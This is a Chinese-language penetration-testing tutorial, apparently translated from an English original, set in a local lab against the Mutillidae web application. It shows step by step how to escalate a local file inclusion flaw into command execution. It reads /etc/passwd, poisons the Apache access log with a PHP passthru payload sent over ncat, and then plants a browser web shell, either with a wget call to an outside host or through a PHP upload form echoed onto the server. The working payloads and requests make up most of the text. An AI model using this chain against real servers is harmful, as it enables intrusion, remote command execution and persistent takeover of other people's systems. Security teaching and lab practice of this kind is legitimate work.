本地文件包含(LFI)漏洞,常被入侵者用来提取站点所在服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即通过本地文件包含来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让我们步入正题!
设置
我将使用我本地的渗透测试环境设置为例。我当前所使用的web应用程序是Mutillidae。此外,我们必须将Apache配置为允许目录遍历。
<Directory /path/to/document/root>
Options Indexes
</Directory>
show time
首先我们来寻找LFI漏洞,点击链接后我们可以看到如下的url地址:
/index.php?page=
让我们尝试包含一个敏感文件路径/etc/passwd,看看会发生什么。如下:
/index.php?page=/etc/passwd
竟然成功读取到了文件内容!这也为我们验证了该应用确实存在本地文件包含漏洞。接下来我们来包含Apache access log,看看是否也能访问到其中的内容。
访问日志的位置和文件名在不同的系统上会有所差异,在我的系统上是/var/log/apache2/access.log。将url修改如下:
/index.php?page=/var/log/apache2/access.log
太棒了!访问日志的内容也成功被加载。
经过以上的初步验证,现在是时候进入到我们的第二阶段了。
Apache访问日志的利用
在此之前,你必须要对Apache日志有所了解。
服务器访问日志记录服务器处理的所有请求。
这也意味着我们发送到服务器上的任何请求都将会被保存到这里。
首先我们打开一个终端,然后使用netcat向服务器发送一个GET请求。我们之所以没有使用浏览器发送此请求,是因为它会对我们的请求进行url编码,这将导致它无法正常工作。我们注入的代码如下:
<?php passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru - 执行外部程序并显示原始输出
要使用netcat发送请求,我们需要在终端中执行以下操作:
ncat 192.168.56.101 80
然后我们键入以下内容:
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
注:这里你必须将192.168.56.101更改为你目标的IP地址。这是我虚拟机的IP地址。
最终看起来应该像下面这样:
$ ncat 192.168.56.101 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
404 Not Found</pre>
<h1>Not Found</h1>
<pre>
The requested URL /< was not found on this server.
现在让我们来验证下我们的注入是否有效,返回浏览器并向URL添加一个新参数:
cmd=
在我们的例子中,我将使用id命令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,我们来看看我们得到的输出。 仔细看,你会看到类似于红框标注的内容:
我们的命令在服务器上成功被执行!
下面是我们的重头戏,即获取服务器的浏览器shell。这里有两种方法,第一种是使用wget,第二种是注入上传表单。我们先来介绍第一种。
使用wget
Wget是一个文件下载命令。虽然并非总是那么有效,但作为最简单的方法是我们首先需要去尝试的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当前的工作目录中(如果可读的话)。如果你想要将它保存在其它位置,你可以参考wget手册。通过这种方法,可以为你省去上传表单的中间步骤。
上传表单
如果wget不起作用,我们可以使用上传表单这种方法。我们将在服务器上执行echo命令,该命令将会将我们的任意内容写入到文件。将cmd参数更改如下:
<FORM ENCTYPE="multipart/form-data" ACTION=<?php echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创建一个带有上传表单的文件。然后我们在浏览器中打开该上传页面,上传我们的浏览器shell。
如下所示,我们成功上传了b374k shell。
过程回顾
1.通过获取passwd,hosts等文件来验证LFI漏洞;
2.通过LFI漏洞获取Apache日志访问;
3.使用netcat或类似工具发送恶意请求;
4.通过测试id,whoami等简单命令来验证代码执行;
5.使用wget或将上传表单写入服务器,将浏览器shell添加到服务器上;
6.访问浏览器shell验证是否成功。
总结
虽然这本身并不是一个超高风险的漏洞,但在被正确利用的情况下也可能会带来巨大的安全威胁。
*参考来源:roguecod3r,FB小编 secist 编译,转载请注明来自FreeBuf.COM